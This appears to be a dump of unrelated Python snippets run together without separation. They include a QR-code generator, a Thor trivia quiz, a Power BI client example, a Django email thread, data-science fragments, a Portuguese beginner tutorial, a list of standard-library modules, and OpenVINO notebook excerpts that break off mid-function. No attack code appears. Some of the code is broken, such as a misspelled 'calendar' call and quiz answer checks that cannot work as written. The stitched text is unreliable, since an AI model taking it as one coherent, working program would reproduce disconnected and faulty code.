    print 'string sent: ', repr(stringSent), ' received: ', repr(stringReceived.getMessage())
    assert(stringSent == stringReceived.getMessage())

if __name__ == "__main__":
   test_StringReceivedIsSameAsStringSent()
##making a qr code

# sb se pehle import qrcode and img
# input link
# qrcode shape-- version box_size border
# qr ke andar add kren data link
# make it fit true
# img -- qr.make img(color backcolor)
# img ko save as png --- img.save("test.png")


import qrcode
import image

print("THIS IS A QR CODE GENERATOR")


link_data = input("Paste your link here for the qr code : ")

qr = qrcode.QRCode(
    version=20,
    box_size=20,
    border=10
)
data = link_data

qr.add_data(data)
qr.make(fit=True)
img = qr.make_image(fill = "red",back_color="green")
img.save("QR generator.jpg")


print("Ola mundo")
y = 1
z = 2
x = y + z
print(x)
from pprint import pprint
from configparser import ConfigParser
from powerbi.client import PowerBiClient

# Initialize the Parser.
config = ConfigParser()

# Read the file.
config.read('config/config.ini')

# Get the specified credentials.
client_id = config.get('power_bi_api', 'client_id')
redirect_uri = config.get('power_bi_api', 'redirect_uri')
client_secret = config.get('power_bi_api', 'client_secret')

# Initialize the Client.
power_bi_client = PowerBiClient(
    client_id=client_id,
    client_secret=client_secret,
    scope=['https://analysis.windows.net/powerbi/api/.default'],
    redirect_uri=redirect_uri,
    credentials='config/power_bi_state.jsonc'
)

# Initialize the `Dashboards` service.
dashboard_service = power_bi_client.dashboards()

# Add a dashboard to our Workspace.
dashboard_service.add_dashboard(name='my_new_dashboard')

# Get all the dashboards in our Org.
pprint(dashboard_service.get_dashboards())
pip install pylint
pyreverse -o png <path_to_src>
a = input("Enter your good name : ").upper()
print(f"Hallow {a}")
play = input("Do you want to play this game ? ").lower()
score = 0

if play != "yes":
    quit()
else:
    print(f"Ok then let's get started {a} :)\n")

Question1 = input("Q1 : Who is the father of THOR : \n")
if Question1 == "ODIN".lower():
    print("Correct!")
    print(f"Yes it's {Question1}")
    score += 1
else:
    print("Incorrect! ")
    print(f"NO it's not {Question1}")

Question2 = input("Q2 : Who is the brother of THOR : ")
if Question2 == "loki".lower():
    print("Correct!")
    print(f"Yes it's {Question2}")
    score += 1
else:
    print("Incorrect! ")
    print(f"NO it's not {Question2}")

Question3 = input("Q3 : Who is the sister of THOR : ")
if Question3 == "Hela".lower():
    print("Correct!")
    print(f"Yes it's {Question3}")
    score += 1
else:
    print("Incorrect! ")
    print(f"NO it's not {Question3}")

Question4 = input("Q4: How many hammers do thor have now (write in numbers)? : ")
if Question4 == "2":
    print("Correct!")
    print(f"Yes it's {Question4}")
    score += 1
else:
    print("Incorrect! ")
    print(f"NO it's not {Question4}")

Question5 = input("Q5: Did hela killed thor in ragnarok? : ")
if Question5 == "No".lower():
    print("Correct!")
    print(f"Yes it's {Question5}")
    score += 1
else:
    print("Incorrect! ")
    print(f"NO it's not {Question5}")

print(f"Your total score is {score}")
print("Your score percentage is " + str((score/5) * 100) + "% ")


print("So you are not allowed to enter in the comic world!!!")
import threading
from django.core.mail import EmailMessage
from django.conf import settings

class EmailThread(threading.Thread):

    def __init__(self, email_message):
        self.email_message = email_message
        threading.Thread.__init__(self)

    def run(self):
        print(self.email_message.send())
        
        
        
email_message = EmailMessage(
                "subject",
                "message",
                settings.EMAIL_HOST_USER,
                ["example@mail.com"]
            )
        

EmailThread(email_message).start()
from sklearn.metrics import confusion_matrix
import seaborn as sns
cf_matrix = confusion_matrix(train_label, sgdl1_clf_pred)
row_sums = cf_matrix.sum(axis=1, keepdims=True)
norm_conf_mx = cf_matrix / row_sums
np.fill_diagonal(norm_conf_mx, 0)
plt.figure(figsize = (50,50))
sns.heatmap(norm_conf_mx, annot=True ,linewidths=.5, cbar=False, cmap="YlGnBu")
import pandas as pd
data_xls = pd.read_excel('excelfile.xlsx', 'Sheet2', dtype=str, index_col=None)
data_xls.to_csv('csvfile.csv', encoding='utf-8', index=False)
df = df.sample(frac = 1)
df = df.reset_index(drop=True)
df_without_label = df.iloc[: , :-1]
df_without_label = df_without_label.iloc[1:,: ]
some_digit = df_without_label.iloc[0]
some_digit_image = some_digit.values.reshape(32, 32)
plt.imshow(some_digit_image, cmap="gray")
plt.axis("off")
plt.show()
import numpy as np
import matplotlib.pyplot as plt

# some fake data
data = np.random.randn(1000)
# evaluate the histogram
values, base = np.histogram(data, bins=40)
#evaluate the cumulative
cumulative = np.cumsum(values)
# plot the cumulative function
plt.plot(base[:-1], cumulative, c='blue')
#plot the survival function
plt.plot(base[:-1], len(data)-cumulative, c='green')

plt.show()
#variáveis

nome = "Meu Nome" #Sempre que colocas o valor entre "" significa que a variável é do tipo string
#variável do tipo string é um tipo de variável que usa texto como base

idade = "28" #variável do tipo string

x = 2
y = 5
#Sempre que defines um valor numérico sem "" significa que a variável passa a ser do tipo int
#variáveis do tipo int, só aceitam valores numéricos inteiros, não podendo colocar texto à mistura



#exemplos do que não podes fazer
!var@ = 1 
#não podes, aliás não consegues usar pontuação na definição das variáveis

total = x + idade 
#não podes juntar diferentes tipos de variáveis numa só
#ou seja não consegues somar a idade "28" que está no formato string, com uma do formato int
#que é específicamente um número, é como se aquele 28 fosse escrito assim "vinte e oito"





#resultados retornados
print(x+y) #vai retornar na tela o valor 7
print("Olá Mundo") #o comando print, exibe qualquer coisa na tela.
exec(open("G:/AREA DE DATOS/Proyectos/Directorio/Fuentes_Informacion/Obtener_InfoDirectorio.py").read())
import calendar

alendar.monthrange(year, month)[1]
1.  abc				- This tiny module delivers the environment you need for creating abstract base classes
2.  argparse		- This module contains tools that make it easier to create user-friendly interfaces from the level of the command line
3.  asyncio			- This is a very large module that delivers the framework and environment for asynchronous programming
4.  base64			- This well-known module delivers a tool for coding and decoding binary code into a format that can be displayed – and 
					  the other way round
5.  collections		- This module offers specialized container data types that work as an alternative to basic contained types for general
					  purposes such as dict, list, set, and tuple.
6.  copy			- Everyone uses this tiny module that contains tools for deep copying of container type data. Its most famous function is `deepcopy` – if not for this function, copying lists and dictionaries would become a torture for developers.
7.  csv				- Delivers functionalities for exporting and importing tabular data in CSV format. The module allows developers to say “load data” or “save data” from to a CSV file.
8.  datetime		- It delivers tools that make it easier to work with dates and times
9.  decimal 		- The module delivers a data type called Decimal. Its main advantage is correct rounding of decimal numbers which is extremely important in billing systems– even
					  a slight distortion with several hundred thousand operations can change the final result significantly
10. functools		- The functools module comes in handy for higher-order functions, ie. the functions that act on or return other functions. You can treat any callable 
					  object as a function for the purposes of this module.
11. hashlib			- his handy module implements a common interface to numerous secure hash and message digest algorithms like the FIPS 
					  secure hash algorithms SHA1, SHA224, SHA256, SHA384, and SHA512
12. http			- his package collects several modules for working with the HyperText Transfer Protocol 
13. importlib 		- The package provides the implementation of the import statement (and the __import__() function) in Python source code
14. itertools		- This useful module implements iterator building blocks inspired by constructs 
					  from APL, Haskell, and SML (all in a form that matches Python programs)
15. inspect 		- The module offers several useful functions that help developers get information about live objects such as 
					  modules, classes, methods, functions, tracebacks, frame objects, and code objects in Python code
16. json			- Helps to work with json data
17. logging			- This module defines functions and classes that provide a flexible event logging system for applications and libraries
18. math			- This module gives developers access to the mathematical functions defined by the C standard
19. multiprocessing	- This handy package supports spawning processes with the help of an API similar to the threading module
20. os				- Offers a portable method of using operating system dependent functionality.
21. pdb				- This module defines an interactive source code debugger
22. random			- pseudo-random number generators for various distributions
23. re				- Provides regular expression matching operations similar to those you get in Perl
24. shutil			- Provides a number of high-level operations on files and collections of files, especially functions that 
					  support file copying and removal
25. sys				- offers access to variables used or maintained by the interpreter and functions that interact strongly 
					  with the interpreter
26. threading		- This useful module builds higher-level threading interfaces on top of the lower level _thread module
27. types			- It defines names for object types used by the standard Python interpreter but not exposed as builtins
28. unittest		- Works similarly to major unit testing frameworks in other programming languages
29. urllib			- This handy package collects several modules for working with URLs
30. uuid			- The module provides immutable UUID objects, as well as the following functions for generating version 1, 3, 4, and 5 UUIDs
from shapely.geometry import Point
import geopandas as gpd
from geopandas import GeoDataFrame

df = pd.read_csv("Long_Lats.csv", delimiter=',', skiprows=0, low_memory=False)

geometry = [Point(xy) for xy in zip(df['Longitude'], df['Latitude'])]
gdf = GeoDataFrame(df, geometry=geometry)   

#this is a simple map that goes with geopandas
world = gpd.read_file(gpd.datasets.get_path('naturalearth_lowres'))
gdf.plot(ax=world.plot(figsize=(10, 6)), marker='o', color='red', markersize=15);
# Imports
import time
import json

import numpy as np
import tokens_bert as tokens

from openvino.runtime import Core
from openvino.runtime import Dimension

# Download the model
# directory where model will be downloaded
base_model_dir = "model"

# desired precision
precision = "FP16-INT8"

# model name as named in Open Model Zoo
model_name = "bert-small-uncased-whole-word-masking-squad-int8-0002"

model_path = f"model/intel/{model_name}/{precision}/{model_name}.xml"
model_weights_path = f"model/intel/{model_name}/{precision}/{model_name}.bin"

download_command = f"omz_downloader " \
                   f"--name {model_name} " \
                   f"--precision {precision} " \
                   f"--output_dir {base_model_dir} " \
                   f"--cache_dir {base_model_dir}"
! $download_command

# Load the model for Entity Extraction with Dynamic Shape
# initialize inference engine
ie_core = Core()
# read the network and corresponding weights from file
model = ie_core.read_model(model=model_path, weights=model_weights_path)

# assign dynamic shapes to every input layer on the last dimension
for input_layer in model.inputs:
    input_shape = input_layer.partial_shape
    input_shape[1] = Dimension(1, 384)
    model.reshape({input_layer: input_shape})

# compile the model for the CPU
compiled_model = ie_core.compile_model(model=model, device_name="CPU")

# get input names of nodes
input_keys = list(compiled_model.inputs)

# Processing
# path to vocabulary file
vocab_file_path = "data/vocab.txt"

# create dictionary with words and their indices
vocab = tokens.load_vocab_file(vocab_file_path)

# define special tokens
cls_token = vocab["[CLS]"]
sep_token = vocab["[SEP]"]

# set a confidence score threshold
confidence_threshold = 0.4

# Preprocessing
# generator of a sequence of inputs
def prepare_input(entity_tokens, context_tokens):
    input_ids = [cls_token] + entity_tokens + [sep_token] + \
        context_tokens + [sep_token]
    # 1 for any index
    attention_mask = [1] * len(input_ids)
    # 0 for entity tokens, 1 for context part
    token_type_ids = [0] * (len(entity_tokens) + 2) + \
        [1] * (len(context_tokens) + 1)

    # create input to feed the model
    input_dict = {
        "input_ids": np.array([input_ids], dtype=np.int32),
        "attention_mask": np.array([attention_mask], dtype=np.int32),
        "token_type_ids": np.array([token_type_ids], dtype=np.int32),
    }

    # some models require additional position_ids
    if "position_ids" in [i_key.any_name for i_key in input_keys]:
        position_ids = np.arange(len(input_ids))
        input_dict["position_ids"] = np.array([position_ids], dtype=np.int32)

    return input_dict

# Postprocessing
def postprocess(output_start, output_end, entity_tokens,
                context_tokens_start_end, input_size):

    def get_score(logits):
        out = np.exp(logits)
        return out / out.sum(axis=-1)

    # get start-end scores for context
    score_start = get_score(output_start)
    score_end = get_score(output_end)

    # index of first context token in tensor
    context_start_idx = len(entity_tokens) + 2
    # index of last+1 context token in tensor
    context_end_idx = input_size - 1

    # find product of all start-end combinations to find the best one
    max_score, max_start, max_end = find_best_entity_window(
        start_score=score_start, end_score=score_end,
        context_start_idx=context_start_idx, context_end_idx=context_end_idx
    )

    # convert to context text start-end index
    max_start = context_tokens_start_end[max_start][0]
    max_end = context_tokens_start_end[max_end][1]

    return max_score, max_start, max_end


def find_best_entity_window(start_score, end_score,
                            context_start_idx, context_end_idx):
    context_len = context_end_idx - context_start_idx
    score_mat = np.matmul(
        start_score[context_start_idx:context_end_idx].reshape(
            (context_len, 1)),
        end_score[context_start_idx:context_end_idx].reshape(
            (1, context_len)),
    )
    # reset candidates with end before start
    score_mat = np.triu(score_mat)
    # reset long candidates (>16 words)
    score_mat = np.tril(score_mat, 16)
    # find the best start-end pair
    max_s, max_e = divmod(score_mat.flatten().argmax(), score_mat.shape[1])
    max_score = score_mat[max_s, max_e]

    return max_score, max_s, max_e

def get_best_entity(entity, context, vocab):
    # convert context string to tokens
    context_tokens, context_tokens_end = tokens.text_to_tokens(
        text=context.lower(), vocab=vocab)
    # convert entity string to tokens
    entity_tokens, _ = tokens.text_to_tokens(text=entity.lower(), vocab=vocab)

    network_input = prepare_input(entity_tokens, context_tokens)
    input_size = len(context_tokens) + len(entity_tokens) + 3

    # openvino inference
    output_start_key = compiled_model.output("output_s")
    output_end_key = compiled_model.output("output_e")
    result = compiled_model(network_input)

    # postprocess the result getting the score and context range for the answer
    score_start_end = postprocess(output_start=result[output_start_key][0],
                                  output_end=result[output_end_key][0],
                                  entity_tokens=entity_tokens,
                                  context_tokens_start_end=context_tokens_end,
                                  input_size=input_size)

    # return the part of the context, which is already an answer
    return context[score_start_end[1]:score_start_end[2]], score_start_end[0]

# Set the Entity Recognition Template
template = ["building", "company", "persons", "city",
            "state", "height", "floor", "address"]

def run_analyze_entities(context):
    print(f"Context: {context}\n", flush=True)

    if len(context) == 0:
        print("Error: Empty context or outside paragraphs")
        return

    if len(context) > 380:
        print("Error: The context is too long for this particular model. "
              "Try with context shorter than 380 words.")
        return

    # measure processing time
    start_time = time.perf_counter()
    extract = []
    for field in template:
        entity_to_find = field + "?"
        entity, score = get_best_entity(entity=entity_to_find,
                                        context=context,
                                        vocab=vocab)
        if score >= confidence_threshold:
            extract.append({"Entity": entity, "Type": field,
                            "Score": f"{score:.2f}"})
    end_time = time.perf_counter()
    res = {"Extraction": extract, "Time": f"{end_time - start_time:.2f}s"}
    print("\nJSON Output:")
    print(json.dumps(res, sort_keys=False, indent=4))

# Run on Simple Text
# Sample 1
source_text = "Intel Corporation is an American multinational and technology" \
    " company headquartered in Santa Clara, California."
run_analyze_entities(source_text)

# Sample 2
source_text = "Intel was founded in Mountain View, California, " \
    "in 1968 by Gordon E. Moore, a chemist, and Robert Noyce, " \
    "a physicist and co-inventor of the integrated circuit."
run_analyze_entities(source_text)

# Sample 3
source_text = "The Robert Noyce Building in Santa Clara, California, " \
    "is the headquarters for Intel Corporation. It was constructed in 1992 " \
    "and is located at 2200 Mission College Boulevard - 95054. It has an " \
    "estimated height of 22.20 meters and 6 floors above ground."
run_analyze_entities(source_text)
# Import TensorFlow and Other Libraries
import os
import sys
from pathlib import Path

import PIL
import matplotlib.pyplot as plt
import numpy as np
import tensorflow as tf
from PIL import Image
from openvino.runtime import Core
from openvino.tools.mo import mo_tf
from tensorflow import keras
from tensorflow.keras import layers
from tensorflow.keras.models import Sequential

sys.path.append("../utils")
from notebook_utils import download_file

# Download and Explore the Dataset
import pathlib
dataset_url = "https://storage.googleapis.com/download.tensorflow.org/example_images/flower_photos.tgz"
data_dir = tf.keras.utils.get_file('flower_photos', origin=dataset_url, untar=True)
data_dir = pathlib.Path(data_dir)

image_count = len(list(data_dir.glob('*/*.jpg')))
print(image_count)

roses = list(data_dir.glob('roses/*'))
PIL.Image.open(str(roses[0]))
PIL.Image.open(str(roses[1]))

tulips = list(data_dir.glob('tulips/*'))
PIL.Image.open(str(tulips[0]))
PIL.Image.open(str(tulips[1]))

# Create a Dataset
batch_size = 32
img_height = 180
img_width = 180

train_ds = tf.keras.preprocessing.image_dataset_from_directory(
  data_dir,
  validation_split=0.2,
  subset="training",
  seed=123,
  image_size=(img_height, img_width),
  batch_size=batch_size)

val_ds = tf.keras.preprocessing.image_dataset_from_directory(
  data_dir,
  validation_split=0.2,
  subset="validation",
  seed=123,
  image_size=(img_height, img_width),
  batch_size=batch_size)

class_names = train_ds.class_names
print(class_names)

# Visualize the Data
plt.figure(figsize=(10, 10))
for images, labels in train_ds.take(1):
    for i in range(9):
        ax = plt.subplot(3, 3, i + 1)
        plt.imshow(images[i].numpy().astype("uint8"))
        plt.title(class_names[labels[i]])
        plt.axis("off")

for image_batch, labels_batch in train_ds:
    print(image_batch.shape)
    print(labels_batch.shape)
    break

# Configure the Dataset for Performance
# AUTOTUNE = tf.data.AUTOTUNE
AUTOTUNE = tf.data.experimental.AUTOTUNE
train_ds = train_ds.cache().shuffle(1000).prefetch(buffer_size=AUTOTUNE)
val_ds = val_ds.cache().prefetch(buffer_size=AUTOTUNE)

# Standardize the Data
normalization_layer = layers.experimental.preprocessing.Rescaling(1./255)

normalized_ds = train_ds.map(lambda x, y: (normalization_layer(x), y))
image_batch, labels_batch = next(iter(normalized_ds))
first_image = image_batch[0]
# Notice the pixels values are now in `[0,1]`.
print(np.min(first_image), np.max(first_image)) 

# Create the Model
num_classes = 5

model = Sequential([
  layers.experimental.preprocessing.Rescaling(1./255, input_shape=(img_height, img_width, 3)),
  layers.Conv2D(16, 3, padding='same', activation='relu'),
  layers.MaxPooling2D(),
  layers.Conv2D(32, 3, padding='same', activation='relu'),
  layers.MaxPooling2D(),
  layers.Conv2D(64, 3, padding='same', activation='relu'),
  layers.MaxPooling2D(),
  layers.Flatten(),
  layers.Dense(128, activation='relu'),
  layers.Dense(num_classes)
])

# Compile the Model
model.compile(optimizer='adam',
              loss=tf.keras.losses.SparseCategoricalCrossentropy(from_logits=True),
              metrics=['accuracy'])
# Preparation
from pathlib import Path

import tensorflow as tf

model_xml = Path("model/flower/flower_ir.xml")
dataset_url = (
    "https://storage.googleapis.com/download.tensorflow.org/example_images/flower_photos.tgz"
)
data_dir = Path(tf.keras.utils.get_file("flower_photos", origin=dataset_url, untar=True))

if not model_xml.exists():
    print("Executing training notebook. This will take a while...")
    %run 301-tensorflow-training-openvino.ipynb

# Imports
import copy
import os
import sys

import cv2
import matplotlib.pyplot as plt
import numpy as np
from addict import Dict
from openvino.tools.pot.api import Metric, DataLoader
from openvino.tools.pot.graph import load_model, save_model
from openvino.tools.pot.graph.model_utils import compress_model_weights
from openvino.tools.pot.engines.ie_engine import IEEngine
from openvino.tools.pot.pipeline.initializer import create_pipeline
from openvino.runtime import Core
from PIL import Image

sys.path.append("../utils")
from notebook_utils import benchmark_model, download_file

# Settings
model_config = Dict(
    {
        "model_name": "flower",
        "model": "model/flower/flower_ir.xml",
        "weights": "model/flower/flower_ir.bin",
    }
)

engine_config = Dict({"device": "CPU", "stat_requests_number": 2, "eval_requests_number": 2})

algorithms = [
    {
        "name": "DefaultQuantization",
        "params": {
            "target_device": "CPU",
            "preset": "performance",
            "stat_subset_size": 1000,
        },
    }
]

# Create DataLoader Class
class ClassificationDataLoader(DataLoader):
    """
    DataLoader for image data that is stored in a directory per category. For example, for
    categories _rose_ and _daisy_, rose images are expected in data_source/rose, daisy images
    in data_source/daisy.
    """

    def __init__(self, data_source):
        """
        :param data_source: path to data directory
        """
        self.data_source = Path(data_source)
        self.dataset = [p for p in data_dir.glob("**/*") if p.suffix in (".png", ".jpg")]
        self.class_names = sorted([item.name for item in Path(data_dir).iterdir() if item.is_dir()])

    def __len__(self):
        """
        Returns the number of elements in the dataset
        """
        return len(self.dataset)

    def __getitem__(self, index):
        """
        Get item from self.dataset at the specified index.
        Returns (annotation, image), where annotation is a tuple (index, class_index)
        and image a preprocessed image in network shape
        """
        if index >= len(self):
            raise IndexError
        filepath = self.dataset[index]
        annotation = (index, self.class_names.index(filepath.parent.name))
        image = self._read_image(filepath)
        return annotation, image

    def _read_image(self, index):
        """
        Read image at dataset[index] to memory, resize, convert to BGR and to network shape

        :param index: dataset index to read
        :return ndarray representation of image batch
        """
        image = cv2.imread(os.path.join(self.data_source, index))[:, :, (2, 1, 0)]
        image = cv2.resize(image, (180, 180)).astype(np.float32)
        return image

# Create Accuracy Metric Class
class Accuracy(Metric):
    def __init__(self):
        super().__init__()
        self._name = "accuracy"
        self._matches = []

    @property
    def value(self):
        """Returns accuracy metric value for the last model output."""
        return {self._name: self._matches[-1]}

    @property
    def avg_value(self):
        """
        Returns accuracy metric value for all model outputs. Results per image are stored in
        self._matches, where True means a correct prediction and False a wrong prediction.
        Accuracy is computed as the number of correct predictions divided by the total
        number of predictions.
        """
        num_correct = np.count_nonzero(self._matches)
        return {self._name: num_correct / len(self._matches)}

    def update(self, output, target):
        """Updates prediction matches.

        :param output: model output
        :param target: annotations
        """
        predict = np.argmax(output[0], axis=1)
        match = predict == target
        self._matches.append(match)

    def reset(self):
        """
        Resets the Accuracy metric. This is a required method that should initialize all
        attributes to their initial value.
        """
        self._matches = []

    def get_attributes(self):
        """
        Returns a dictionary of metric attributes {metric_name: {attribute_name: value}}.
        Required attributes: 'direction': 'higher-better' or 'higher-worse'
                             'type': metric type
        """
        return {self._name: {"direction": "higher-better", "type": "accuracy"}}

# POT Optimization
# Step 1: Load the model
model = load_model(model_config=model_config)
original_model = copy.deepcopy(model)

# Step 2: Initialize the data loader
data_loader = ClassificationDataLoader(data_source=data_dir)

# Step 3 (Optional. Required for AccuracyAwareQuantization): Initialize the metric
#        Compute metric results on original model
metric = Accuracy()

# Step 4: Initialize the engine for metric calculation and statistics collection
engine = IEEngine(config=engine_config, data_loader=data_loader, metric=metric)

# Step 5: Create a pipeline of compression algorithms
pipeline = create_pipeline(algo_config=algorithms, engine=engine)

# Step 6: Execute the pipeline
compressed_model = pipeline.run(model=model)

# Step 7 (Optional): Compress model weights quantized precision
#                    in order to reduce the size of final .bin file
compress_model_weights(model=compressed_model)

# Step 8: Save the compressed model and get the path to the model
compressed_model_paths = save_model(
    model=compressed_model, save_path=os.path.join(os.path.curdir, "model/optimized")
)
compressed_model_xml = Path(compressed_model_paths[0]["model"])
print(f"The quantized model is stored in {compressed_model_xml}")

# Step 9 (Optional): Evaluate the original and compressed model. Print the results
original_metric_results = pipeline.evaluate(original_model)
if original_metric_results:
    print(f"Accuracy of the original model:  {next(iter(original_metric_results.values())):.5f}")

quantized_metric_results = pipeline.evaluate(compressed_model)
if quantized_metric_results:
    print(f"Accuracy of the quantized model: {next(iter(quantized_metric_results.values())):.5f}")

# Run Inference on Quantized Model
def pre_process_image(imagePath, img_height=180):
    # Model input format
    n, c, h, w = [1, 3, img_height, img_height]
    image = Image.open(imagePath)
    image = image.resize((h, w), resample=Image.BILINEAR)

    # Convert to array and change data layout from HWC to CHW
    image = np.array(image)

    input_image = image.reshape((n, h, w, c))

    return input_image

# Load the optimized model and get the names of the input and output layer
ie = Core()
model_pot = ie.read_model(model="model/optimized/flower_ir.xml")
compiled_model_pot = ie.compile_model(model=model_pot, device_name="CPU")
input_layer = compiled_model_pot.input(0)
output_layer = compiled_model_pot.output(0)

# Get the class names: a list of directory names in alphabetical order
class_names = sorted([item.name for item in Path(data_dir).iterdir() if item.is_dir()])

# Run inference on an input image...
inp_img_url = (
    "https://upload.wikimedia.org/wikipedia/commons/4/48/A_Close_Up_Photo_of_a_Dandelion.jpg"
)
directory = "output"
inp_file_name = "A_Close_Up_Photo_of_a_Dandelion.jpg"
file_path = Path(directory)/Path(inp_file_name)
# Download the image if it does not exist yet
if not Path(inp_file_name).exists():
    download_file(inp_img_url, inp_file_name, directory=directory)

# Pre-process the image and get it ready for inference.
input_image = pre_process_image(imagePath=file_path)
print(f'input image shape: {input_image.shape}')
print(f'input layer shape: {input_layer.shape}')

res = compiled_model_pot([input_image])[output_layer]

score = tf.nn.softmax(res[0])

# Show the results
image = Image.open(file_path)
plt.imshow(image)
print(
    "This image most likely belongs to {} with a {:.2f} percent confidence.".format(
        class_names[np.argmax(score)], 100 * np.max(score)
    )
)

# Compare Inference Speed
# print the available devices on this system
ie = Core()
print("Device information:")
print(ie.get_property("CPU", "FULL_DEVICE_NAME"))
if "GPU" in ie.available_devices:
    print(ie.get_property("GPU", "FULL_DEVICE_NAME"))

# Original model - CPU
benchmark_model(model_path=model_xml, device="CPU", seconds=15, api='async')

# Quantized model - CPU
benchmark_model(model_path=compressed_model_xml, device="CPU", seconds=15, api='async')

# Original model - MULTI:CPU,GPU
if "GPU" in ie.available_devices:
    benchmark_model(model_path=model_xml, device="MULTI:CPU,GPU", seconds=15, api='async')
else:
    print("A supported integrated GPU is not available on this system.")

# Quantized model - MULTI:CPU,GPU
if "GPU" in ie.available_devices:
    benchmark_model(model_path=compressed_model_xml, device="MULTI:CPU,GPU", seconds=15, api='async')
else:
    print("A supported integrated GPU is not available on this system.")

# print the available devices on this system
print("Device information:")
print(ie.get_property("CPU", "FULL_DEVICE_NAME"))
if "GPU" in ie.available_devices:
    print(ie.get_property("GPU", "FULL_DEVICE_NAME"))

# Original IR model - CPU
benchmark_output = %sx benchmark_app -m $model_xml -t 15 -api async
# Remove logging info from benchmark_app output and show only the results
benchmark_result = [line for line in benchmark_output if not (line.startswith(r"[") or line.startswith("  ") or line=="")]
print("\n".join(benchmark_result))

# Quantized IR model - CPU
benchmark_output = %sx benchmark_app -m $compressed_model_xml -t 15 -api async
# Remove logging info from benchmark_app output and show only the results
benchmark_result = [line for line in benchmark_output if not (line.startswith(r"[") or line.startswith("  ") or line=="")]
print("\n".join(benchmark_result))

# Original IR model - MULTI:CPU,GPU
ie = Core()
if "GPU" in ie.available_devices:
    benchmark_output = %sx benchmark_app -m $model_xml -d MULTI:CPU,GPU -t 15 -api async
    # Remove logging info from benchmark_app output and show only the results
    benchmark_result = [line for line in benchmark_output if not (line.startswith(r"[") or line.startswith("  ") or line=="")]
    print("\n".join(benchmark_result))
else:
    print("An integrated GPU is not available on this system.")

# Quantized IR model - MULTI:CPU,GPU
ie = Core()
if "GPU" in ie.available_devices:
    benchmark_output = %sx benchmark_app -m $compressed_model_xml -d MULTI:CPU,GPU -t 15 -api async
    # Remove logging info from benchmark_app output and show only the results
    benchmark_result = [line for line in benchmark_output if not (line.startswith(r"[") or line.startswith("  ") or line=="")]
    print("\n".join(benchmark_result))
else:
    print("An integrated GPU is not available on this system.")
# Imports and Settings
# On Windows, add the directory that contains cl.exe to the PATH to enable PyTorch to find the
# required C++ tools. This code assumes that Visual Studio 2019 is installed in the default
# directory. If you have a different C++ compiler, please add the correct path to os.environ["PATH"]
# directly. Note that the C++ Redistributable is not enough to run this notebook.

# Adding the path to os.environ["LIB"] is not always required - it depends on the system's configuration

import sys

if sys.platform == "win32":
    import distutils.command.build_ext
    import os
    from pathlib import Path

    VS_INSTALL_DIR = r"C:/Program Files (x86)/Microsoft Visual Studio"
    cl_paths = sorted(list(Path(VS_INSTALL_DIR).glob("**/Hostx86/x64/cl.exe")))
    if len(cl_paths) == 0:
        raise ValueError(
            "Cannot find Visual Studio. This notebook requires a C++ compiler. If you installed "
            "a C++ compiler, please add the directory that contains cl.exe to `os.environ['PATH']`."
        )
    else:
        # If multiple versions of MSVC are installed, get the most recent version
        cl_path = cl_paths[-1]
        vs_dir = str(cl_path.parent)
        os.environ["PATH"] += f"{os.pathsep}{vs_dir}"
        # Code for finding the library dirs from
        # https://stackoverflow.com/questions/47423246/get-pythons-lib-path
        d = distutils.core.Distribution()
        b = distutils.command.build_ext.build_ext(d)
        b.finalize_options()
        os.environ["LIB"] = os.pathsep.join(b.library_dirs)
        print(f"Added {vs_dir} to PATH")

import sys
import time
import warnings  # to disable warnings on export to ONNX
import zipfile
from pathlib import Path
import logging

import torch
import nncf  # Important - should be imported directly after torch

import torch.nn as nn
import torch.nn.parallel
import torch.optim
import torch.utils.data
import torch.utils.data.distributed
import torchvision.datasets as datasets
import torchvision.models as models
import torchvision.transforms as transforms

from nncf.common.utils.logger import set_log_level
set_log_level(logging.ERROR)  # Disables all NNCF info and warning messages
from nncf import NNCFConfig
from nncf.torch import create_compressed_model, register_default_init_args
from openvino.runtime import Core
from torch.jit import TracerWarning

sys.path.append("../utils")
from notebook_utils import download_file

torch.manual_seed(0)
device = torch.device("cuda" if torch.cuda.is_available() else "cpu")
print(f"Using {device} device")

MODEL_DIR = Path("model")
OUTPUT_DIR = Path("output")
DATA_DIR = Path("data")
BASE_MODEL_NAME = "resnet18"
image_size = 64

OUTPUT_DIR.mkdir(exist_ok=True)
MODEL_DIR.mkdir(exist_ok=True)
DATA_DIR.mkdir(exist_ok=True)

# Paths where PyTorch, ONNX and OpenVINO IR models will be stored
fp32_pth_path = Path(MODEL_DIR / (BASE_MODEL_NAME + "_fp32")).with_suffix(".pth")
fp32_onnx_path = Path(OUTPUT_DIR / (BASE_MODEL_NAME + "_fp32")).with_suffix(".onnx")
fp32_ir_path = fp32_onnx_path.with_suffix(".xml")
int8_onnx_path = Path(OUTPUT_DIR / (BASE_MODEL_NAME + "_int8")).with_suffix(".onnx")
int8_ir_path = int8_onnx_path.with_suffix(".xml")

# It's possible to train FP32 model from scratch, but it might be slow. So the pre-trained weights are downloaded by default.
pretrained_on_tiny_imagenet = True
fp32_pth_url = "https://storage.openvinotoolkit.org/repositories/nncf/openvino_notebook_ckpts/302_resnet18_fp32_v1.pth"
download_file(fp32_pth_url, directory=MODEL_DIR, filename=fp32_pth_path.name)

# Download Tiny ImageNet dataset
def download_tiny_imagenet_200(
    data_dir: Path,
    url="http://cs231n.stanford.edu/tiny-imagenet-200.zip",
    tarname="tiny-imagenet-200.zip",
):
    archive_path = data_dir / tarname
    download_file(url, directory=data_dir, filename=tarname)
    zip_ref = zipfile.ZipFile(archive_path, "r")
    zip_ref.extractall(path=data_dir)
    zip_ref.close()

def prepare_tiny_imagenet_200(dataset_dir: Path):
    # format validation set the same way as train set is formatted
    val_data_dir = dataset_dir / 'val'
    val_annotations_file = val_data_dir / 'val_annotations.txt'
    with open(val_annotations_file, 'r') as f:
        val_annotation_data = map(lambda line: line.split('\t')[:2], f.readlines())
    val_images_dir = val_data_dir / 'images'
    for image_filename, image_label in val_annotation_data:
        from_image_filepath = val_images_dir / image_filename
        to_image_dir = val_data_dir / image_label
        if not to_image_dir.exists():
            to_image_dir.mkdir()
        to_image_filepath = to_image_dir / image_filename
        from_image_filepath.rename(to_image_filepath)
    val_annotations_file.unlink()
    val_images_dir.rmdir()
    

DATASET_DIR = DATA_DIR / "tiny-imagenet-200"
if not DATASET_DIR.exists():
    download_tiny_imagenet_200(DATA_DIR)
    prepare_tiny_imagenet_200(DATASET_DIR)
    print(f"Successfully downloaded and prepared dataset at: {DATASET_DIR}")

# Pre-train Floating-Point Model
# Train Function
def train(train_loader, model, criterion, optimizer, epoch):
    batch_time = AverageMeter("Time", ":3.3f")
    losses = AverageMeter("Loss", ":2.3f")
